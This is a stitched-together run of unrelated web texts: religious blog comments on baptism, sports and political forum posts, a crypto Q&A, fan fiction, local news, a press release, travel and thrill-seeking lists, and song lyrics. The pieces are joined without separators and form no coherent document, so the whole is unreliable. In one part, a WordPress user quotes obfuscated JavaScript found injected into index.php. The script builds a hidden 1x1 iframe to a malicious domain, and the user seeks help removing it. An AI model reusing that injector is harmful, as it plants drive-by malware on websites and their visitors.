A Living Offering
In the February issue of First Things, Matthew Milliner, who teaches art history at Wheaton College, has a striking reflection on the birth and baptism of his daughter.
He and his wife had lost a young child at birth some years before. They had named him "Clement." For thirteen years they prayed for another child, before being graced with the birth of Mary (whom they lovingly call "Polly").
Milliner meditates on the baptismal ceremony:
"By a virginal birth Mother Church bears the children she conceives by God's breathing," reads the inscription at the famous St. John Lateran baptistery in Rome. Architectural historians have even suggested that early Christian fonts were deliberately shaped like wombs.
But they also resembled coffins. "That saving water was at once your grave and your mother," said Cyril of Jerusalem. The oldest surviving baptismal font at Dura Europos is covered by the same arcosolium found in burial places; and it is not a coincidence that the first great freestanding baptisteries resembled mausolea, the architecture of the dead. My daughter had been wrenched from the cords that threatened to smother her new life, only here to undergo a different, mysterious death.
To this I was oblivious. As the bishop handed Polly back to me, I instinctually did what I always did. I took back the daughter that God had given me after so much praying and hoping, and pressed her head up to my nose—only to receive an unwelcome shock. She had been chrismated as well, and the aggressive aroma of holy oil, not precious baby head, blasted into my nostrils like smelling salts.
"You have dedicated her to God, and He has taken the offering." So wrote John Henry Newman to his friend Edward Pusey upon the death of Pusey's infant daughter. I knew the same counsel applied to our dead child Clement, but I hadn't considered that it could apply to our living one as well.
I should have thought twice before going through with the baptism. She is no longer mine.

Wow... I will read the whole account...
As a father who rmembers so well seeing that "coming forth" of my daughter and our total gratitude, joy, worry, and hope, I'll have to think about how I think about this imagery.
What my wife and I ecall lovingly with her (at 20) is how, after all the hospital visitors and arriving home alone and awaiting others, we put her on the floor in ouor living room, help hands, said a grateful prayer, and then said, "Now what do we do??" She and the Spirit have showed us....
When I click on the link it provides access to the entire article, but I won't tell First Things!
It is behind the paywall; as a nonsubscriber, I was unable to see it.
Much as I found myself compelled by the clip provided here (and with the caveat that I wasn't able to read the entire story), I've never believed that my son or the two who came before him were "mine."
We always talk glibly about MY son, daughter, kids. But, really, they're not ours. Their souls are their own. God made them from our biological material, and we may see in them our eyes or noses, or see them doing the same dumb or generous things we did at their ages, if we are lucky enough to see them survive their births.
But all parents are only guardians. None of us are good enough for the job. But we're all God's got. And doing the job makes us better.
Rightly humbling stuff. And well said JHR.
Whatever believe one holds adolescence jars us into reality. At this time with each day, week, month and year, the education of the parent begins. But as the saying goes "blood is thicker than water." All the literature states that one must prefer God over father, mother, brother and sister. The bond of Christians is ideally more special than that of family. The reality is more sobering. As even many clergy, religious and other "conscecrated" persons prefer the human family over the Christian one. What is it all about?
In the original post I mistakenly re-baptized Mr. Milliner as "Michael;" I have now corrected it to reflect the name chosen by his parents.
My thanks to an eagle-eyed reader for his gracious and fraternal correction.
I appreciate JHR'sremark and am confused by Bill's...Attributed to Anne Lamott and probably others.
"Being a parent means always wearing your heart outside your body."
That's the truth! Scriptural or not.

I am attempting to say that our tendency to control our children stems from the symbiosis of physical relationship. Which if not controlled has led to terrible wreckage of children's lives. That tendency is usually not controlled. From that I made the jump to how we usually do not transcend our physical family to prefer our spiritual family. Which is more important and according to the will of God. So "blood is thicker than water" applys to the aberation of parental control as well as the distortion of spiritual values. This is why Jesus said: "Whoever comes to me and doesn't hate father and mother, spouse and children, and brothers and sisters—yes, even one's own life—cannot be my disciple."
I surely agre with the control part being the great temptation as well as making them "into one's own image and likeness." Yet the notion of "spiritual family" surely includes as primary those whom has co-gnerational role and relationship that may be/have been daily.. spiritually and emotionally compelling...
In my mind, "spiritual family" only wiens the circle but never supplants the rest... but I thinnk I ma stop commenting on this thread...
Bill, are you paraphrasing Matthew 10:37? Isn't the admonition that anyone who loves his mother/daughter/father/son MORE than Jesus unable to follow him as a disciple? Hating people strikes me as going against the Prime Directives, to love God with all your heart and your neighbor as yourself (though I still cleave to the old Unitarian version, to love God with all your heart BY loving your neighbor as yourself).
I once saw a movie made for TV about demonstrations against apartheid in South Africa. A white woman was on her way out of the house, going to a demonstration, risking beatings and arrests. Her 13-years old daughter was scared for her mother and complained to her that she might not come back after the demonstration is things went wrong, and that should think about her family first, and taking care of her daughter. Her mother said that she had to do it for the benefit of her entire generation, and went anyway. What kind of a mother is that?
Then there was the story of St Perpetua, recently discussed, who preferred to be baptized a Christian and die a martyr rather than nurse her baby and raise the child. What kind of a mother is that?
There are some parents - not many - who get so involved with activities outside the house that their children are not cared for as closely as they could be, and some of them may suffer from mild neglect.
There is the devout women, a mother of six, who was telling the priest that it was difficult for her to get to church on Sunday for Mass, and who got told by him that her role was not to go to Mass but to stay at home and take care of her children.
On the other side, there are all the parents who, during the Occupation, were too frightened to help Jewish people in need, and prudently refrained out of a sense of the need to protect their children from possible harm. There are also the self-sacrificial mothers who become slaves to their family and who, instead of being their own self, live only by serving their children and would not consider doing anything that was not for them in one way or another. There are the people who narrow their world to their family, generous to an extreme within the family, but deaf to needs or calls for justice outside the family.
These are the examples and counterexamples that are on my mind when I ponder those words, "Whoever comes to me and doesn't hate father and mother, spouse and children, and brothers and sisters—yes, even one's own life—cannot be my disciple."

According to ESPN's Mel Kiper, Mizzou QB Blaine Gabbert's draft stock has begun "slipping" heading into the Scouting Combine.
According to Kiper, Gabbert's fall has occurred after NFL teams did "more film work" on the underclassman's junior year. It's true that Gabbert did not dominate his competition in 2010, throwing for 16 touchdowns compared to nine picks and averaging an unimpressive 6.71 yards per attempt. Gabbert was much better as a sophomore. The Combine starts on February 24.
Did these NFL teams simply not watch college football until now?
I wouldn't be surprised if he falls to the late 1st round.
Pete Carroll may take a chance on him however. He may count on Hasselback for another year o two and get Gabbo ready for the future.
I still don't think he makes it past the Titans. They need a QB.
no shit
Holy ****, order is restored to the world.
Could he go Vikings, maybe?
49ers CMD VI
Colin Kaepernick (QB), Ndamukong Suh (DL), Vince Wilfork (NT), Jamie Collins (LB), Brandon Graham (DE), Anquan Boldin (WR), Lane Johnson (OL), Tyrann Matheiu (DB), Mike Iupati (OL), Austin Seferian-Jenkins (TE), Datone Jones (DL), Bradley Roby (DB), Barkevious Mingo (LB), Chance Warmack (OL), DJ Hayden (DB), CJ Spiller (RB), Troy Polamalu (S/LB), Jermaine Gresham (TE), Jerick McKinnon (RB), Jeremy Parnell (OL), Bruce Miller (FB), Jonathan Cooper (OL), Vance McDonald (TE), Brock Vereen (S), Jon Bostic (LB), De'Anthony Thomas (WR/RB) Miles Austin (WR), Lamarcus Joyner (DB), Quinton Dial (DL), Marcus Smith (LB), Cam Thomas (DL), Terrelle Pryor (RB)
One thing people have to keep in mind is that NFL Scouts haven't seen Gabbert until now. His rise up draft boards has been 100% due to draftniks, which of course doesn't amount to much considering 90% of them have no clue when it comes to real evaluations - scouts inc. included
NFL teams probably don't lift a finger to do anything draft related until their season's over, and even then it's a very slow process.
Give it a few weeks, the same thing will happen with Da'Quan Bowers.

On my site, the script below is being added:
<iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm">
I tried searching every file in my WP install directory for "hysofufewobe" but got no results so possibly the code is being obfuscated.
I am not sure if WordPress or my host DreamHost is the problem. I've contacted my host asking if any reports have been made about similar issues. No reply yet. Thought I'd ask here in the meantime.
Anyone know what steps I can take to get rid of this script?
By the way, I made another thread here about this issue but I can't access it for some reason. Please feel free to delete that one if needed.
-edit- I checked /index.php and wp-admin/index.php and found the strange characters below at the very top before the
mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);
So I deleted it and everything looks like it's back to normal. The script doesn't append to my markup, either. I am skeptical that simply erasing those lines fixed the entire problem but don't know how to check. Any ideas?

Is this even possible? The RSA group is not cyclic, so usually you wouldn't find a generator for accessing all group elements. What happens if you use the RSA group in a scenario where you want that the discrete log problem is difficult. If you cannot find a generator, you want at least find an element with a high order, or?
As for the question "how difficult would it be to solve a random instance of a discrete log problem modulo an RSA modulus", well, it turns out that we can give a fairly solid answer; which is essentially "about as difficult as factoring the modulus".
Here's is a demonstration that the discrete log problem is not drastically easier than factoring the modulus": if you have a procedure that solves a random instance of a DLOG problem in a composite modulus with nontrivial probability, then you have a procedure that factors that composite modulus with nontrivial probability".
This is a well-known observation; one way to arrive at that is "if you can compute DLOGs, you can compute (a multiple of) the order of a random element, and if you can do that, you can factor".
To compute this order using an Oracle that can compute random logs, you take your random element $r$, select a random exponent $k>1$ ($k$ needs to be relatively prime to $(p-1)(q-1)$, making it a large random prime works), and then query your DLOG oracle for discrete log $(r^k)^m = r$; once you know $m$, you also know that $r^{km-1} = 1$; that is, the order of $r$ is a divisor of $km-1$.
Once you have that multiple of an order $x = km-1$, you can then factor $n=pq$ by considering the odd value $y = x/2^j$, and then for random values of $s$ ($r$ works well for an initial guess), consider the sequence $(s^y, s^{2y}, s^{4y}, ..., s^{x})$. If we see a 1 in the sequence proceeded by a value $z$ other than 1 or $n-1$, then we can factor; the factors are $gcd(n, z-1)$ and $gcd(n, z+1)$. And, if $r$ was chosen randomly, then with high probability this procedure will find a factorization after a modest number of random $s$ values.
As for the demonstration that the discrete log problem is unlikely to be drastically harder than factoring the modulus, well, that's just the observation that the DLOG problem can be solved by factoring the modulus, and then solving the DLOG problem in the smaller groups modulo $p$ and $q$. As far as we know, solving the DLOG problem in those smaller groups is considerably easier than factoring, hence the factorization is the main effort.
What does this all mean? Well, it implies that it's actually safe to pick a random generator; if there is a nontrivial probability that the generator is weak, then there's a nontrivial probability that RSA is weak as well.
Now, does this mean that the extra effort that antosecret suggested is not worth while? Well, that's actually a matter of opinion; is it better to do a simpler method (with a provably tiny chance of failing); or is it better to do a more complex method (that avoids that specific failure mode)? Personally, I don't care for unnecessary complexity; you would need to make up your own mind.

Ah, another new name. Attitude sounds familiar.
Sorry you feel that way. Got any facts? Maybe a leg tingle, or is it tinkle?
I really doubt you even watch Fox News. I watch CNN, which is getting better. I watch MSNBC to keep informed of the crap those who can't think for themselves get their misinformation.
Fox News is the leader by far. Fact. Love those facts.
Fox is beating all the others COMBINED. Obviously folks know where to go for the news that others refuse to discuss. Benghazi, Fast & Furious, the problems with Obamacare (FOx tried to warn you, correct?), illegal executive orders, changing laws without constitutional authority, disregarding law.
Quite a list for a constitutional lawyer, wouldn't you say? Folks wouldn't know these facts without Fox News.
The vast majority are thankful Fox News keeps us informed.

45 States Still Haven't Hit 10% of Enrollment Goals for Obamacare
Check out that runaway Obamacare enrollment over on EnrollMaven(****!
In Arkansas, its up to 1,404! Well along the way to the state's goal of 51,000 paid enrollees by the end of March.
In Delaware, it's up to 793! The state's goal is 35,000.
In New Hampshire, they hit 1,569. Getting close to that goal of 19,000!
In West Virginia, it's up to 775! They'll hit their goal of 24,000 in no time!
In Hawaii, all the way up to 444! That goal of 9,000 is in sight!
In Colorado they're up to 9,980… with a goal of 92,000.
We can skip the scoffing over Oregon and Washington exchanges, as their ludicrously embarrassing failures have been extensively discussed. Oregon's at 44, with a state goal of 237,000; Washington's at 17,780… with a goal of 340,000.

Obama: Worst approval ratings since Nixon...
President Barack Obama is ending his fifth year in office with the lowest approval ratings at this point in the presidency since President Richard Nixon, according to a new Washington Post/ABC poll released Tuesday.
Obama's approval rating in the poll stands at 43%. By comparison, President George W. Bush had a 47% approval rating at the end of the fifth year of his presidency. And all other Post-World War II presidents had approval ratings above 50% — with the exception of Nixon, who, amid the Watergate scandal, had a dreadful 29% approval rating.
The brutal numbers underscore what has been something of a lost year for the President. His approval ratings have been plunging recently as a result of the botched implementation of the Affordable Care Act.

Interesting. Looks like our nation is pretty much in line with what the Tea Party has been saying.
PRINCETON, NJ -- Seventy-two percent of Americans say big government is a greater threat to the U.S. in the future than is big business or big labor, a record high in the nearly 50-year history of this question. The prior high for big government was 65% in 1999 and 2000. Big government has always topped big business and big labor, including in the initial asking in 1965, but just 35% named it at that time.

Ok, so I took a few weekends and totally insulated all hot water pipes I could get access to from the water heater. Now, I still wait approx 90 seconds for hot water to reach the farthest faucet from the water heater.
So my question, does anyone find insulating pipes useful? I feel like I wasted time and money. The insulation I used was both fiber and foam.
I'm now looking at water circulation pumps but the wife is skeptical of my projects to have hot water fast at that farthest faucet.

Culinary Kings
Foodie fans rubbed elbows with O.C.'s culinary royalty (including The Winery's Yvon Goetz and SeaLegs' Alexander Dale) as they grazed on the patio of the Fairmont Hotel in Newport Beach, savoring bites prepped by the talents who were vying for a "Best" title. It was all part of the excitement leading up to the second annual Golden Foodie Awards, and what an affair it was. The Ranch Restaurant & Saloon took home honors for Best Steak and Best American Food (the only eatery to garner two titles), while Noah Blom's ARC snapped up the trophy for Best New Restaurant. The folks at The Winery carried away the Best Wine List award, and the SeaLegs crew took home Best California Cuisine. Many other kudos followed, but the biggie of them all went to The Golden Truffle's Alan Greeley, who was deemed this year's Golden Chef. Now that's something to chew on.

The Tipping Point
Warning: Drug references/use, alcohol, swearing. Rated M.
Background piece for my twin sisters in Vampire Clan.
Her laughter broke the air as the wine glass lay shattered on the floor, and Kiki stared at her sister with a mix of resignation and fear. The blonde pulled on her pigtails as she sat on the floor next to the broken shards, rocking back and forth some, and her maniacal giggling was nigh intolerable. How many days had they spent like this? she wondered.
"Keee-keee-" A noise not unlike a pig's snort made her jump as she tried to pick up the pieces. "Kiki, come on, you've got to be kidding me!" Her lips pulled back in a grin, purple lipstick smeared across her mouth. She looked corpselike - sunken mismatched eyes, skin pasty from a lack of sunlight, bruises on her throat and scars down her arms under the blouse. "I'm not leaving him." She licked her lips, not bothered by the disgusting paste. "I can't anyway, he'd tear the world apart!"
"There you go again, your tired hyperbole." Kiki threw the broken glass in the garbage before coming back to wipe up the spill. "He isn't God. You're drunk." Red stained the soft white towel, turning the purple butterflies into something... darker, and she tossed that in the trash, too. "Come on, you need some sleep-" As her hands grasped her shoulders, she was shoved back into the table with a strength Capri shouldn't have had in her present state.
"NO!" She scrambled to her feet, fingers fumbling on the counter as she tried to stand straight. "I don't need sleep. Who the f*ck even needs sleep?" She giggled again. "I'm just fine the way I am, sis, I could go for days."
"You haven't slept in four." Kiki couldn't properly muster any anger, not after the last outburst. She just felt so tired; picking up after Capri, cleaning the apartment after her boyfriend's friends came into town, taking Capri to the hospital... She leaned into the table as exhaustion pooled in her limbs. "Please, please go to bed. You're going to have another arrhythmia if you keep this up."
"I'm perfectly fine!" She took the two short steps to her twin and grabbed one of her hands, shoving it up her shirt and against her ribcage. "See?" A steady beat - *thum-thum, thum-thum, thum-hum* - beat in her chest, surprisingly stable and relaxed. "I've learned to... how to calm myself down." She grinned again, teeth stained. She could smell alcohol and we'ed on her twin's breath and it disgusted her.
Capri let go of Kiki and walked over to the counter, digging in her ugly hobo-bag of a purse until she found her cigarettes. Finding one, she leaned against the fixture, holding the filter in her teeth as she struggled with her lighter. Her hands shook, nails too long to operate the flint. "Mind's running a million miles an hour." Her voice shook. "New ideas for the cars. Better engines. Sleekest, prettiest paint jobs and bodies you'll ever see." Her tone took on a dreamy quality, and Kiki's heart ached as tears welled in both twins' eyes. "Oh, sissy, we'll make the best drag racers in the city. No, no, no, the world, every country will beg me and Jan for a car just for them."
"You know that isn't going to happen. Not with Jan being out of a job." She rubbed her eyes with the side of a thumb, ignoring the congestion building in her nose. She'd blow it out later, when she was alone. "You love him but that isn't enough of a reason for us to stay anymore."
"It's. Fine," she ground out, nearly biting the filter in two. Cigarette smoke floated to the ceiling, contributing on some level to the filthy stains. At least the kitchen itself was clean, she thought wanly. "I just. Need more. More time. More cars."
"It's never enough with you!" She pointed out the window, at the junk yard behind the complex. Hundreds of cars were parked, rotting and rusting away. "You were going to do something with yourself before all this; what happens when he drops you like the rest of his team?"
"HE WON'T!" she screamed. "He needs me, and I need him!" She slid back to the floor, hugging her knees and not making a sound as the still-burning cigarette sat on her arm, leaving a nasty welt before it slid off her thin limb.
"It's only a matter of time before he beats Isiah. What then? You really think he'll need a washed out engineer sitting on his coat tails?" Kiki stalked out of the room, and Capri dimly heard the door slam upstairs. A few minutes passed and another door quietly opened, followed by the familiar clink of chains that so warmed her heart. A pit bull trotted in, tongue lolling out of his mouth and stump of a half-tail wagging as he sat next to her before leaning in.
"Oh, you wonderful dog, you." She wrapped her arms around his thick neck, burying her face in his short fur. The front door shut with a similarly soft click and more familiar chains rattled as her lover, the light of her life, stepped in with a bag of groceries in hand. "Babe, Kiki's upset again," she said, more quietly.
"She'll always be like that, sweetheart." Jan set the paper bag down, pulling out some fruit and a package of chicken ******* for dinner. "But once I pull that b*stard down off his throne and take over the gang, you an' her can go back to school." He knelt next to her and picked up the smoking cigarette, tossing it in the sink to let it burn out. "You been drinking again?"
"Can't help it. Can't make my brain stop. Too loud. Voices keep talking. Keep hearing stupid things." She rubbed her face against the dog's throat, clearly relaxed now that her day was complete. Later, she'd fall asleep on the couch, and Toki would fall asleep covering her protectively as a dog would. Jan ran a hand through his short blond hair, exhaling.
"Look, I never should have let you start taking this sh*t. That's my rap, not yours." He helped her to her feet and wrapped his arms around her. "I'm an ass hole but I'm not going to let you destroy yourself. You love cars, more than you love me," he gently prodded.
"Bullsh*t. I love you. Only you." She hid in his chest, inhaling the warm leather of his jacket. "You make things better when you're around. I don't have to think so much." She exhaled at last, the tears finally falling. "I stop arguing with Kiki when you're here at home."
"You can't rely on me forever, babe." He lifted her head, kissing her forehead. "I'm gonna cook dinner; I'll get her when it's done, and we can eat like a family for a change." He smiled gently at her, the smile that was just hers and hers alone, and she cried into his shirt, weeping.

Carthage voters, along with voters in other cities around the state, are hitting the polls today to elect local offices to city councils and school boards.
Voters in two Carthage city wards have choices between a challenger and an incumbent in today's election.
It's the only election being held in Carthage because only the two incumbents filed for reelection to the Carthage School Board, meaning no election was required.
On the Carthage City Council, there are five, open, two-year terms, with incumbents Lawrence Chapin in Ward 2, Dan Rife in Ward 4 and Ed Hardesty in Ward 5 running unopposed for their seats.
Two people each have filed for the Ward 1 and Ward 3 seats, setting up a choice for voters in those parts of the city.
The incumbent Jim Swatsenbarg, 601 Howard St., will face Trevor C. Smith, 1124 Valley St., for the Ward 1 seat.
Incumbent Steve Leibbrand, 1654 Connor Dr., will be challenged for the Ward 3 seat by Mike Hutton, 709 Florence St.
Elections are also being held in Sarcoxie and Jasper for both city leadership positions and school board.
There is no election in Avilla for school board because only two people filed for the two seats.
Polls opened at 6 a.m. and will close at 7 p.m. today.
We did receive one final questionaries from candidate Trevor Smith over the weekend and we are running it here.

The Federal Bureau of Investigations notified Nebraska City police March 21 that a suspect has been arrested for making courthouse bomb threats, including a call to Otoe County on Nov. 2.
The FBI says Lonny Bristow, 39, of Mansfield, Ohio, made bomb threats in November and December to courthouses in Nebraska, Washington, Oregon, Tennessee and Mississippi.
The first call in Nebraska went to the Otoe County Courthouse at 11:06 a.m. It was followed by calls to Richardson, Johnson, Seward, Cass, Saline, Gage and Jefferson counties.
The last call went to the Hall of Justice in Lincoln, which was evacuated at 11:36 a.m.
Richardson County Sheriff Randy Houser said a caller to the treasurer's office in Falls City said "the bombs start going off in 17 minutes."
After a search of the building in Nebraska City, Incident Commander Fire Chief AlanViox gave the order to allow employees to re-enter the building at 11:50 a.m.
The FBI reports that prepaid calling cards used to make bomb threat calls in Tennessee were purchased at the Walmart in Sandusky, Ohio. Agents in Cleveland reported that Bristow had purchased a pre-paid calling card on Nov. 27 at the Walmart.
Prosecutors say other calling cards are linked to bomb threats in other states.
"Lonny Bristow induced panic in hundreds of people across several states who were simply trying to do their work," said Stephen D. Anthony, special agent in charge of the Cleveland Division of the FBI.
"The FBI will continue efforts to aggressively pursue charges against anyone, such as Mr. Bristow, who chooses to make reckless and malicious bomb threats," the agent said.
Steven M. Dettelbach, U.S. attorney in Ohio, said a search warrant was executed at Bristow's residence on March 19. Among items seized were computers, bank bank cards, electronic equipment, weapons and ammunition.

Sea Star Line announced that it has entered into a strategic alliance with Mark-It Services in order to equip their refrigerated systems (Reefers) with both Global Positioning and Radio Frequency Identifications Systems creating the Sea Star Line Refrigerated Cargo Guardian Service.
In what has been described as "an industry first," Sea Star Line has introduced the Sea Star Line refrigerated cargo "Guardian Service."
The new technology gives Sea Star wireless monitoring capacities on 100 percent of its refrigerated container fleet, marine terminals, and vessels. This milestone has been achieved through the use of advanced wireless devices mounted on every refrigerated container that continually report the status of all temperatures, and other onboard conditions, back to a web-based software platform that provides Sea Star total and continual visibility and control.
Spokesmen for the company said that shippers are assured that their valuable and time-sensitive cargo is protected from origin to destination without any 'dead spots' along the supply chain, which could happen without such control. For example, on a typical journey from Puerto Rico to inland USA, reefers are continually in view. Visibility is provided even when reefers are at crucial intermodal junctions from land to sea and back.
The hardware and software solution was provided by Mark-It Services of New Jersey, a leading provider of reefer protective services. The Sea Star Line Guardian Service tracks and monitors the container as it moves within the customers supply chain. Data such as real time GPS location, reefer running/stopped events, set/supply/return temperatures and USDA probe temperatures are all available at the operator's fingertips.
Most importantly, said spokesmen, any reefer alarms that occur are pushed immediately to operator screens and sent via email and SMS so that corrective actions can be taken. Traditionally such alarms would only be visible during scheduled manual "walk around" inspections which are less frequent, more labor intensive and prone to interruption.
The Sea Star refrigerated cargo Guardian Service also provides the ability to send commands to the reefer to, change set points, start/stop pre-trips and order downloads without having to visit the unit. All these capabilities result in greater efficiencies within Sea Star and provide timely and enhance reporting to customers.
"By using advanced GPS and wireless technologies, we are going to be able to offer our customers reefer tracking, tracing and control 24/7," said Jim Wagstaff, AVP of Operations for Sea Star Line. "The Guardian systems will provide critical information to the customer and will lead to improvements in the delivered quality of the goods. Conditions in the reefers will be monitored in real-time and issues can be responded to in minutes electronically. This will substantially improve product integrity, security, and reduce claims which is paramount to our customers and Sea Star."
"Sea Star Line is the only ocean carrier in the Puerto Rico trade that can provide the Guardian Service. It provides our customers with a tremendous opportunity to reduce claims while guaranteeing the quality of their delivered product - ultimately providing peace of mind," added Wagstaff.

I have 3 days to get from Belgrade to Budapest, and I'd really like to do some adventuring in that time. I was originally going to see the abandoned Olympic ruins in Sarajevo, but the travel time from Sarajevo back to Budapest is too long. Does anyone have suggestions for what to see along my trip back? I could travel by air, train, or car, but I want to spend less than $250 on the arrangements. My interests are in urban exploration and abandoned buildings, but I would settle for anything adventurous and unique. I have a US passport and international driver's license, so I shouldn't have a problem getting through any neighboring countries.
On the train line between Belgrade and Budapest are at least two interesting cities, Novi Sad and Subotica. I think there are both worth visiting even though I don't remember too many abandoned buildings (wasn't looking for them). You get quite a few of them in Belgrade.
Over all on the Balkans, I've seen most damage from the wars in Bosnia-Herzogovina, the sniper-tower in Mostar comes to mind.
A great abandoned building in South Eastern Europe is Buzludzha in Bulgaria, but that's too far off-route for you.
Not usual place to visit, but this is my favorite. City called Kikinda http://en.wikipedia.org/wiki/Kikinda
You can get there by train or bus from Belgrade or Subotica, so it is on your way. I alway rent car, so it's easy and fun. Ypu can make day trips with rent car from Novi Sad too.
My favorite place is abandon factory that is not artist colony http://terra.rs/en/ great place to visit, great people, contact them before you go to check current events
In National Museum of Kikinda you can see some mammoth skeleton and near by is big hotel Narvik, that I heard is recently closed as gone broke. not sure can you visit it, mayeb ask people in Terra colony.
When in Belgrade, wonder around Kalemegdan, it wonderful place to be. Enjoy.
I went caving when near Budapest. Super scary but amazing experience. (I should point out I am slightly claustrophobic!)
We're looking for long answers that provide some explanation and context. Don't just give a one-line answer; explain why your answer is right, ideally with citations. Answers that don't include explanations may be removed.

The whole season kicks off on Saturday April 5th with an open practice while the following weekend the first race of the year is scheduled to take place on the 12th. It won't be long for the first special event of the year to occur as Friday April 25th and Saturday the 26th will play host to the Marvin Smith Memorial Grove Classic.
May will see the return of the very popular Fan Appreciation Night on the 10th and the American Sprint Car Series-National Tour will pay visits on Friday the 24th and Saturday the 25th. A pre-race party is planned to get the weekend underway on Thursday the 23rd to get everyone excited for what is sure to be two nights of awesome 360 Sprint action.
The ASCS-Northwest Region will be on hand a total of four occasions starting with Friday June 13th and Saturday the 14th while Speedweek Northwest will conclude at CGS for the second straight season. Those races will occur on Friday July 4th and Saturday the 5th. After the events have concluded on the Independence Day a massive fireworks display will be on hand for everyone to enjoy.

Comey Tapped to Lead FBI
Former Columbia Law School Lecturer-in-Law James B. Comey was recently named director of the Federal Bureau of Investigation. Comey, who also served as a Hertog Fellow in National Security Law and as a senior research scholar at the Law School earlier this year, was nominated by President Barack Obama for the position in June.
Comey served as deputy attorney general of the United States from 2003 to 2005. He chaired President George W. Bush's Corporate Fraud Task Force, as well as the Presidential Board on Safeguarding Americans' Civil Liberties, during that time. Comey is also the former U.S. Attorney for the Southern District of New York, and, in that role, he oversaw the prosecutions of many terrorism and financial fraud cases.
During his time in Morningside Heights, Comey worked closely with Professor Matthew C. Waxman to further enhance the Law School's national security program. The pair created two new courses focused on national security law.

Remember that post about the World's Best Rollercoasters? It kind of sparked our interest about the more adventurous and extreme side of tourism. For those thrill seekers out there, here's a dozen 'extreme' tourist attractions that may well give you some inspiration for your next adventure.
1. The Cage of Death in Australia
A lovely name for an attraction, the Cage of Death can be found in Darwin's Crocosaurus Cove. This setup allows you to get as close as you dare with a crocodile, with only a 4cm thick acrylic 'cage' separating you from…separation. If you look closely, you'll notice there are some deep teeth and leg scratches on the acrylic, adding a dimension of realism to your near death experience.
2. Meet and touch a live crocodile – if you dare!
This unusual attraction is available at Paga Crocodile Pond, which is an almost holy crocodile haven. Paga is a town in northern Ghana where humans and crocodiles have learnt to live together in relative peace. In this area it's forbidden to hurt, kill or even express any indication of disrespect towards crocodiles. It's also not surprising to see kids fearlessly sitting on the back of a crocodile.
3. Cliff Base Jumping in Norway
Initially popularized by lemmings, cliff base jumping has eagerly been adopted and adapted by humans to produce a less fatal, yet no less thrilling, activity. Norway is well known for its stunning natural scenery, and what better place to cheat death in a wing suit? As you hurtle through the sky like a mammalian falcon, you'll be glad you remembered to pack your parachute, which can really help in staying alive at the end of this jump.
4. Bungee jumping into an active volcano
Nope, you're not dreaming: we really mean bungee jumping into an active volcano. Don't worry; we haven't turned into a cult extolling the virtues of the mass suicide…but why jump from a bridge when you can jump into a volcano? Maybe it's not the smartest thing to do, but it will definitely be a thrilling experience. If you find yourself in Chile, why not have a pop at bungee jumping from a helicopter into the Villarrica volcano? No big deal, right?
5. Face-to-face with the largest predator in the sea
Probably the best way to meet predators such as Great White Sharks, Tiger Sharks or Bull Sharks is in a diving cage. Remember to watch where you put your hands…
However, if you'd like to get up close and personal with Whale Sharks or Blacktip Sharks, you can book a tour that takes you swimming close to them. Reaching weights of over 20 tonnes, the Whale Shark is the largest fish, so best not to play too rough.
6. Zorbing in New Zealand
Let's discover how our hamsters must feel in this big ball! All hamster ball lovers have to climb into this transparent ball for a taste of rodent medicine. This is actually one ball inside of another, with a layer of air in-between, which protects against shocks. Now you only have to begin tumbling down a hill.
There have been a few broken bones in the history of zorbing, but with 100,000 people who have already tried this, no one has ever been sick inside the ball…reassuring.
7. Walk the Plank
Arrrr! Here be a kind of hike you would love to take your mother-in-law on. This is definitely the most dangerous hike in the world!
This attraction is located at Mount Huashan in China, with vertical staircases and rickety plank paths equipped with rusty iron safety chains. Suspended thousands of feet above the ground, these old wooden planks threaten quite a long drop below.
8. Chernobyl Tour
I know that some of you dream about visiting the site of the worst nuclear disaster in history…and now your dream might come true!
As you tour Chernobyl, you will be allowed to keep your own clothes but you will have to stay in the safe zone. You won't be allowed to step on the soil, because it's 30 times more radioactive than the road. As you leave the site you will be tested twice for radiations, just in case!
9. CN Tower Edge Walk in Toronto
The CN Tower Edge holds the Guinness World Record for being the highest external walk on a building in the world. The participants are allowed to walk with hands free along a footbridge with a width of 1.5 meters that surrounds the tower. Visitors form groups of six and are protected by a harness. This tour has only quite recently opened, in August 2011, and already attracts people of all ages.
10. Kayaking with whales
Combining kayaking with encountering a wild marine mammal is definitely an amazing and unique life experience. The size and weight of whales make this encounter a big challenge in itself! Let's enjoy paddling in a wonderful and breathtaking landscape whilst watching the life of those gentle giants, and perhaps we can even take some cool photos.
11. The Death Road tour
This is a name that really makes you want to go for a walk! The Death Road in Coroico, Bolivia, is the world's most dangerous road, where 200 to 300 travellers annually meet their demise. On the road you can identify many marks where vehicles have fallen from the road. Sheer topography, extreme climate and unstable geology all combine to heighten the danger of this road. Join this adventure only with professionals.
12. Volcano Boarding in Nicaragua
Why follow the crowd in boarding on snow when we can board on an active volcano? Cerro Negro volcano is the youngest volcano in Central America, at the tender age of 160 years. It is also the most active cinder cone volcano in the world, with 23 eruptions in 160 years. The most recent eruption was in 1999. Don't let that put you off, though – the professionals say that no one has ever sustained any damages or injury in boarding; the only danger you risk is some gravel rash on the bottom of your legs and arms. The threat of a possible eruption, the speed of the board and the height of the volcano all contribute to the excitement of volcano boarding.
Some people like to live life on the edge, and enjoy getting close to death to feel more alive. Others say they just want to experience something stunning and different and get out of the routine. In any case, these are some experiences of a lifetime.

#12. "Orgasm Addict"
But now you found out that it's a habit that sticks,
And you're an orgasm addict, you're an orgasm addict,
Sneaking in the back door with dirty magazines.
Now your mother wants to know what all those stains on your jeans.
It's no surprise that this band, named after a vibrator, penned a few ditties about pleasuring oneself. The song's titular orgasm addict is so out of control that his jeans are covered with stains, which raises an important question: If you were literally addicted to masturbation, would you really be giving your jeans an impromptu stone washing before hanging out with your mom? Wouldn't an addict be a little better at concealing it? It's not like alcoholics drink whiskey right before coming home and kissing their wives. They mix it in with their morning coffee so no one will smell it on them. Which bring us to another important question: God damn you dad, why couldn't you have just been an orgasm addict?
#11. "Pictures of Lily"
Pictures of Lily helped me sleep at night.
Pictures of Lily solved my childhood problems.
Pictures of Lily helped me feel alright.
